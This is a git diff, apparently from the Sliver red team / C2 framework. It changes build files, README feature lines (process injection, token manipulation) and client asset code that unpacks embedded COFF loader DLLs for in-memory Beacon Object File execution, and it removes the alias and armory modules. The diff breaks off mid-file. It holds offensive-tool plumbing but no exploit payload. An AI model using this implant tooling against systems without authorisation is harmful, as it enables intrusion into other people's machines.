lib-inject wip

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.17.6
+FROM golang:1.17.2
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying

Makefile

@@ -3,50 +3,36 @@
 #
 
 GO ?= go
-ENV =
-TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
+ENV = CGO_ENABLED=1
+TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
+
+#
+# Version Information
+#
+GO_VERSION = $(shell $(GO) version)
+VERSION ?= $(shell git describe --abbrev=0)
+COMPILED_AT = $(shell date +%s)
+RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
+PKG = github.com/bishopfox/sliver/client/version
+GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
+GIT_COMMIT = $(shell git rev-parse HEAD)
+LDFLAGS = -ldflags "-s -w \
+	-X $(PKG).Version=$(VERSION) \
+	-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
+	-X $(PKG).CompiledAt=$(COMPILED_AT) \
+	-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
+	-X $(PKG).GitCommit=$(GIT_COMMIT) \
+	-X $(PKG).GitDirty=$(GIT_DIRTY)"
 
 
 #
 # Prerequisites 
 #
 # https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
-EXECUTABLES = uname sed git zip date cut $(GO)
+EXECUTABLES = uname sed git zip date $(GO)
 K := $(foreach exec,$(EXECUTABLES),\
         $(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
 
-#
-# Version Information
-#
-GO_VERSION = $(shell $(GO) version)
-GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
-GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
-MIN_SUPPORTED_GO_MAJOR_VERSION = 1
-MIN_SUPPORTED_GO_MINOR_VERSION = 17
-GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
-
-VERSION ?= $(shell git describe --abbrev=0)
-COMPILED_AT = $(shell date +%s)
-RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
-CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
-ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
-ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
-VERSION_PKG = github.com/bishopfox/sliver/client/version
-
-GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
-GIT_COMMIT = $(shell git rev-parse HEAD)
-
-LDFLAGS = -ldflags "-s -w \
-	-X $(VERSION_PKG).Version=$(VERSION) \
-	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
-
-
 SED_INPLACE := sed -i
 STATIC_TARGET := linux
 
@@ -55,70 +41,80 @@ UNAME_P := $(shell uname -p)
 
 # If the target is Windows from Linux/Darwin, check for mingw
 CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
-ifneq (,$(findstring cgosqlite,$(TAGS)))
-	ENV +=CGO_ENABLED=1
-	ifeq ($(MAKECMDGOALS), windows)
-		K := $(foreach exec,$(CROSS_COMPILERS),\
-				$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
-		ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
-	endif
-endif
 
 # Programs required for generating protobuf/grpc files
 PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
 ifeq ($(MAKECMDGOALS), pb)
 	K := $(foreach exec,$(PB_COMPILERS),\
-			$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
+			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
+	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
 endif
 
-# *** Darwin ***
+# *** Start Darwin ***
 ifeq ($(UNAME_S),Darwin)
 	SED_INPLACE := sed -i ''
 	STATIC_TARGET := macos
-endif
+
 ifeq ($(UNAME_P),arm)
 	ENV += GOARCH=arm64
 endif
 
+ifeq ($(MAKECMDGOALS), windows)
+	K := $(foreach exec,$(CROSS_COMPILERS),\
+			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
+	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
+endif
+
+endif
+# *** End Darwin ***
+
+# *** Start Linux ***
+ifeq ($(UNAME_S),Linux)
+ifeq ($(MAKECMDGOALS), windows)
+	K := $(foreach exec,$(CROSS_COMPILERS),\
+			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
+	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
+endif
+endif
+
 ifeq ($(MAKECMDGOALS), linux)
 	# Redefine LDFLAGS to add the static part
 	LDFLAGS = -ldflags "-s -w \
 		-extldflags '-static' \
-		-X $(VERSION_PKG).Version=$(VERSION) \
-		-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-		-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-		-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-		-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-		-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-		-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
+		-X $(PKG).Version=$(VERSION) \
+		-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
+		-X $(PKG).CompiledAt=$(COMPILED_AT) \
+		-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
+		-X $(PKG).GitCommit=$(GIT_COMMIT) \
+		-X $(PKG).GitDirty=$(GIT_DIRTY)"
 endif
+# *** End Linux ***
 
 #
 # Targets
 #
 .PHONY: default
-default: clean validate-go-version
+default: clean
 	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
 	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
 
 .PHONY: macos
-macos: clean validate-go-version
+macos: clean
 	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
 	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
 
 .PHONY: macos-arm64
-macos-arm64: clean validate-go-version
+macos-arm64: clean
 	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
 	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
 
 .PHONY: linux
-linux: clean validate-go-version
+linux: clean
 	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
 	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
 
 .PHONY: windows
-windows: clean validate-go-version
+windows: clean
 	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
 	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
 
@@ -130,17 +126,6 @@ pb:
 	protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative 
 
-validate-go-version:
-	@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
-		exit 0 ;\
-	elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
-		echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
-		exit 1; \
-	elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
-		echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
-		exit 1; \
-	fi
-
 .PHONY: clean-all
 clean-all: clean
 	rm -rf ./server/assets/fs/darwin/amd64

README.md

@@ -1,7 +1,7 @@
 Sliver
 ======
 
-Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
+Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
 
 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
@@ -17,11 +17,13 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
 * [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
 * [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
 * Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
-* Windows process migration, process injection, user token manipulation, etc.
+* Local and remote process injection
+* Windows process migration
+* Windows user token manipulation
+* Anti-fingerprinting features
 * Let's Encrypt integration
 * In-memory .NET assembly execution
 * COFF/BOF in-memory loader
-* TCP and named pipe pivots
 * Much more!
 
 ### Getting Started

client/assets/.gitignore

@@ -1 +1,9 @@
-fs/**
+fs/*.zip
+fs/extensions/darwin/amd64/
+fs/extensions/darwin/arm64/
+fs/extensions/linux/amd64/
+fs/extensions/windows/amd64/
+fs/extensions/darwin/386/
+fs/extensions/darwin/386/
+fs/extensions/linux/386/
+fs/extensions/windows/386/

client/assets/aliases.go

@@ -1,65 +0,0 @@
-package assets
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"io/ioutil"
-	"log"
-	"os"
-	"path/filepath"
-)
-
-const (
-	AliasesDirName = "aliases"
-)
-
-// GetAliasesDir - Returns the path to the config dir
-func GetAliasesDir() string {
-	rootDir, _ := filepath.Abs(GetRootAppDir())
-	dir := filepath.Join(rootDir, AliasesDirName)
-	if _, err := os.Stat(dir); os.IsNotExist(err) {
-		err = os.MkdirAll(dir, 0700)
-		if err != nil {
-			log.Fatal(err)
-		}
-	}
-	return dir
-}
-
-// GetInstalledAliasManifests - Returns a list of installed alias manifests
-func GetInstalledAliasManifests() []string {
-	aliasDir := GetAliasesDir()
-	aliasDirContent, err := ioutil.ReadDir(aliasDir)
-	if err != nil {
-		log.Printf("error loading aliases: %s", err)
-		return []string{}
-	}
-	manifests := []string{}
-	for _, fi := range aliasDirContent {
-		if fi.IsDir() {
-			manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
-			if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
-				log.Printf("no manifest in %s, skipping ...", manifestPath)
-				continue
-			}
-			manifests = append(manifests, manifestPath)
-		}
-	}
-	return manifests
-}

client/assets/armories.go

@@ -1,63 +0,0 @@
-package assets
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"encoding/json"
-	"io/ioutil"
-	"os"
-	"path/filepath"
-)
-
-const (
-	armoryConfigFileName = "armories.json"
-)
-
-var (
-	DefaultArmoryPublicKey string
-	DefaultArmoryRepoURL   string
-
-	defaultArmoryConfig = &ArmoryConfig{
-		PublicKey: DefaultArmoryPublicKey,
-		RepoURL:   DefaultArmoryRepoURL,
-	}
-)
-
-type ArmoryConfig struct {
-	PublicKey string `json:"public_key"`
-	RepoURL   string `json:"repo_url"`
-}
-
-// GetArmoriesConfig - The parsed armory config file
-func GetArmoriesConfig() []*ArmoryConfig {
-	armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
-	if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
-		return []*ArmoryConfig{defaultArmoryConfig}
-	}
-	data, err := ioutil.ReadFile(armoryConfigPath)
-	if err != nil {
-		return []*ArmoryConfig{defaultArmoryConfig}
-	}
-	var armoryConfigs []*ArmoryConfig
-	err = json.Unmarshal(data, &armoryConfigs)
-	if err != nil {
-		return []*ArmoryConfig{defaultArmoryConfig}
-	}
-	return append(armoryConfigs, defaultArmoryConfig)
-}

client/assets/assets.go

@@ -19,28 +19,49 @@ package assets
 */
 
 import (
+	"embed"
 	"fmt"
 	"io/ioutil"
 	"log"
 	"os"
 	"os/user"
+	"path"
 	"path/filepath"
 	"strings"
 
 	ver "github.com/bishopfox/sliver/client/version"
 )
 
+var (
+	//go:embed fs/extensions/*
+	assetsFs embed.FS
+)
+
 const (
 	// SliverClientDirName - Directory storing all of the client configs/logs
 	SliverClientDirName = ".sliver-client"
-
-	versionFileName = "version"
+	// SliverExtensionsDirName - Directory storing the client side extensions
+	SliverExtensionsDirName = "extensions"
+	versionFileName         = "version"
 )
 
 // GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
 func GetRootAppDir() string {
 	user, _ := user.Current()
-	dir := filepath.Join(user.HomeDir, SliverClientDirName)
+	dir := path.Join(user.HomeDir, SliverClientDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
+func GetExtensionsDir() string {
+	user, _ := user.Current()
+	dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
 	if _, err := os.Stat(dir); os.IsNotExist(err) {
 		err = os.MkdirAll(dir, 0700)
 		if err != nil {
@@ -52,7 +73,7 @@ func GetRootAppDir() string {
 
 func assetVersion() string {
 	appDir := GetRootAppDir()
-	data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
+	data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
 	if err != nil {
 		return ""
 	}
@@ -60,7 +81,7 @@ func assetVersion() string {
 }
 
 func saveAssetVersion(appDir string) {
-	versionFilePath := filepath.Join(appDir, versionFileName)
+	versionFilePath := path.Join(appDir, versionFileName)
 	fVer, _ := os.Create(versionFilePath)
 	defer fVer.Close()
 	fVer.Write([]byte(ver.GitCommit))
@@ -72,12 +93,12 @@ func Setup(force bool, echo bool) {
 	localVer := assetVersion()
 	if force || localVer == "" || localVer != ver.GitCommit {
 		if echo {
-			fmt.Printf(`
-Sliver  Copyright (C) 2022  Bishop Fox
-This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
-This is free software, and you are welcome to redistribute it
-under certain conditions; type 'licenses' for details.`)
-			fmt.Printf("\n\nUnpacking assets ...\n")
+			fmt.Printf("Unpacking assets ...\n")
+		}
+		err := setupCoffLoaderExt(appDir)
+		if err != nil {
+			fmt.Println(err)
+			log.Fatal(err)
 		}
 		saveAssetVersion(appDir)
 	}
@@ -85,3 +106,43 @@ under certain conditions; type 'licenses' for details.`)
 		SaveSettings(nil)
 	}
 }
+
+func setupCoffLoaderExt(appDir string) error {
+	extDir := GetExtensionsDir()
+	win32ExtDir := path.Join("windows", "386")
+	win64ExtDir := path.Join("windows", "amd64")
+	coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
+	coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
+	manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
+	loader64, err := assetsFs.ReadFile(coffLoader64)
+	if err != nil {
+		return err
+	}
+	loader32, err := assetsFs.ReadFile(coffLoader32)
+	if err != nil {
+		return err
+	}
+	manifest, err := assetsFs.ReadFile(manifestPath)
+	if err != nil {
+		return err
+	}
+	localWin32ExtDir := path.Join(extDir, win32ExtDir)
+	err = os.MkdirAll(localWin32ExtDir, 0700)
+	if err != nil {
+		return err
+	}
+	localWin64ExtDir := path.Join(extDir, win64ExtDir)
+	err = os.MkdirAll(localWin64ExtDir, 0700)
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
+	if err != nil {
+		return err
+	}
+	return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
+}

client/assets/config.go

@@ -49,7 +49,7 @@ type ClientConfig struct {
 // GetConfigDir - Returns the path to the config dir
 func GetConfigDir() string {
 	rootDir, _ := filepath.Abs(GetRootAppDir())
-	dir := filepath.Join(rootDir, ConfigDirName)
+	dir := path.Join(rootDir, ConfigDirName)
 	if _, err := os.Stat(dir); os.IsNotExist(err) {
 		err = os.MkdirAll(dir, 0700)
 		if err != nil {
@@ -86,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
 // ReadConfig - Load config into struct
 func ReadConfig(confFilePath string) (*ClientConfig, error) {
 	confFile, err := os.Open(confFilePath)
+	defer confFile.Close()
 	if err != nil {
 		log.Printf("Open failed %v", err)
 		return nil, err
 	}
-	defer confFile.Close()
 	data, err := ioutil.ReadAll(confFile)
 	if err != nil {
 		log.Printf("Read failed %v", err)
@@ -108,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
 // SaveConfig - Save a config to disk
 func SaveConfig(config *ClientConfig) error {
 	if config.LHost == "" || config.Operator == "" {
-		return errors.New("empty config")
+		return errors.New("Empty config")
 	}
 	configDir := GetConfigDir()
 	filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
-	saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
+	saveTo, _ := filepath.Abs(path.Join(configDir, filename))
 	configJSON, _ := json.Marshal(config)
 	err := ioutil.WriteFile(saveTo, configJSON, 0600)
 	if err != nil {

client/assets/extensions.go

@@ -1,66 +0,0 @@
-package assets
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"io/ioutil"
-	"log"
-	"os"
-	"path/filepath"
-)
-
-const (
-	// ExtensionsDirName - Directory storing the client side extensions
-	ExtensionsDirName = "extensions"
-)
-
-// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
-func GetExtensionsDir() string {
-	rootDir, _ := filepath.Abs(GetRootAppDir())
-	dir := filepath.Join(rootDir, ExtensionsDirName)
-	if _, err := os.Stat(dir); os.IsNotExist(err) {
-		err = os.MkdirAll(dir, 0700)
-		if err != nil {
-			log.Fatal(err)
-		}
-	}
-	return dir
-}
-
-// GetInstalledExtensionManifests - Returns a list of installed extension manifests
-func GetInstalledExtensionManifests() []string {
-	extDir := GetExtensionsDir()
-	extDirContent, err := ioutil.ReadDir(extDir)
-	if err != nil {
-		log.Printf("error loading aliases: %s", err)
-		return []string{}
-	}
-	manifests := []string{}
-	for _, fi := range extDirContent {
-		if fi.IsDir() {
-			manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
-			if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
-				log.Printf("no manifest in %s, skipping ...", manifestPath)
-				continue
-			}
-			manifests = append(manifests, manifestPath)
-		}
-	}
-	return manifests
-}

client/assets/fs/extensions/manifest.json

@@ -0,0 +1,16 @@
+[
+    {
+        "name": "coff-loader",
+        "help": "Load and execute Beacon Object Files (BOFs) in memory.",
+        "entrypoint": "LoadAndRun",
+        "extFiles": [
+            {
+                "os": "windows",
+                "files": {
+                    "x64": "COFFLoader.x64.dll",
+                    "x86": "COFFLoader.x86.dll"
+                }
+            }
+        ]
+    }
+]

client/command/alias/alias.go

@@ -1,126 +0,0 @@
-package alias
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"encoding/json"
-	"fmt"
-	"io/ioutil"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/jedib0t/go-pretty/v6/text"
-)
-
-// AliasesCmd - The alias command
-func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if 0 < len(loadedAliases) {
-		PrintAliases(con)
-	} else {
-		con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
-	}
-}
-
-// PrintAliases - Print a list of loaded aliases
-func PrintAliases(con *console.SliverConsoleClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"Name",
-		"Command Name",
-		"Platforms",
-		"Version",
-		"Installed",
-		".NET Assembly",
-		"Reflective",
-		"Tool Author",
-		"Repository",
-	})
-	tw.SortBy([]table.SortBy{
-		{Name: "Name", Mode: table.Asc},
-	})
-	tw.SetColumnConfigs([]table.ColumnConfig{
-		{Number: 5, Align: text.AlignCenter},
-	})
-
-	installedManifests := getInstalledManifests()
-	for _, aliasPkg := range loadedAliases {
-		installed := ""
-		if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
-			installed = "✅"
-		}
-		tw.AppendRow(table.Row{
-			aliasPkg.Manifest.Name,
-			aliasPkg.Manifest.CommandName,
-			strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
-			aliasPkg.Manifest.Version,
-			installed,
-			aliasPkg.Manifest.IsAssembly,
-			aliasPkg.Manifest.IsReflective,
-			aliasPkg.Manifest.OriginalAuthor,
-			aliasPkg.Manifest.RepoURL,
-		})
-	}
-	con.Println(tw.Render())
-}
-
-// AliasCommandNameCompleter - Completer for installed extensions command names
-func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
-	results := []string{}
-	for name := range loadedAliases {
-		if strings.HasPrefix(name, prefix) {
-			results = append(results, name)
-		}
-	}
-	return results
-}
-
-func aliasPlatforms(aliasPkg *AliasManifest) []string {
-	platforms := map[string]string{}
-	for _, entry := range aliasPkg.Files {
-		platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
-	}
-	keys := []string{}
-	for key := range platforms {
-		keys = append(keys, key)
-	}
-	return keys
-}
-
-func getInstalledManifests() map[string]*AliasManifest {
-	manifestPaths := assets.GetInstalledAliasManifests()
-	installedManifests := map[string]*AliasManifest{}
-	for _, manifestPath := range manifestPaths {
-		data, err := ioutil.ReadFile(manifestPath)
-		if err != nil {
-			continue
-		}
-		manifest := &AliasManifest{}
-		err = json.Unmarshal(data, manifest)
-		if err != nil {
-			continue
-		}
-		installedManifests[manifest.CommandName] = manifest
-	}
-	return installedManifests
-}

client/command/alias/alias_test.go

@@ -1,90 +0,0 @@
-package alias
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import "testing"
-
-const (
-	sample1 = `{
-	"name": "test1",
-	"command_name": "test1",
-	"version": "1.0.0",
-	"repo_url": "https://example.com/",
-	"help": "some help",
-	"entrypoint": "foo",
-	"allow_args": true,
-	"default_args": "bar",
-	"is_reflective": true,
-	"is_assembly": true,
-	"files": [
-		{
-			"os": "windows",
-			"arch": "amd64",
-			"path": "foo/test1.dll"
-		}
-	]
-}`
-)
-
-func TestParseAliasManifest(t *testing.T) {
-	alias1, err := ParseAliasManifest([]byte(sample1))
-	if err != nil {
-		t.Errorf("Error parsing alias manifest: %s", err)
-	}
-
-	if alias1.Name != "test1" {
-		t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
-	}
-
-	if alias1.CommandName != "test1" {
-		t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
-	}
-
-	if alias1.Version != "1.0.0" {
-		t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
-	}
-
-	if alias1.RepoURL != "https://example.com/" {
-		t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
-	}
-
-	if alias1.Help != "some help" {
-		t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
-	}
-
-	if alias1.Entrypoint != "foo" {
-		t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
-	}
-
-	if !alias1.AllowArgs {
-		t.Errorf("Expected allow_args to be true, got false")
-	}
-
-	if alias1.DefaultArgs != "bar" {
-		t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
-	}
-
-	if !alias1.IsReflective {
-		t.Errorf("Expected is_reflective to be true, got false")
-	}
-
-	if !alias1.IsAssembly {
-		t.Errorf("Expected is_assembly to be true, got false")
-	}
-}

client/command/alias/install.go

@@ -1,178 +0,0 @@
-package alias
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"fmt"
-	"io/ioutil"
-	"os"
-	"path/filepath"
-	"strings"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/util"
-	"github.com/desertbit/grumble"
-)
-
-// AliasesInstallCmd - Install an alias
-func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	aliasLocalPath := ctx.Args.String("path")
-	fi, err := os.Stat(aliasLocalPath)
-	if os.IsNotExist(err) {
-		con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
-		return
-	}
-	if !fi.IsDir() {
-		InstallFromFile(aliasLocalPath, false, con)
-	} else {
-		installFromDir(aliasLocalPath, con)
-	}
-}
-
-// Install an extension from a directory
-func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
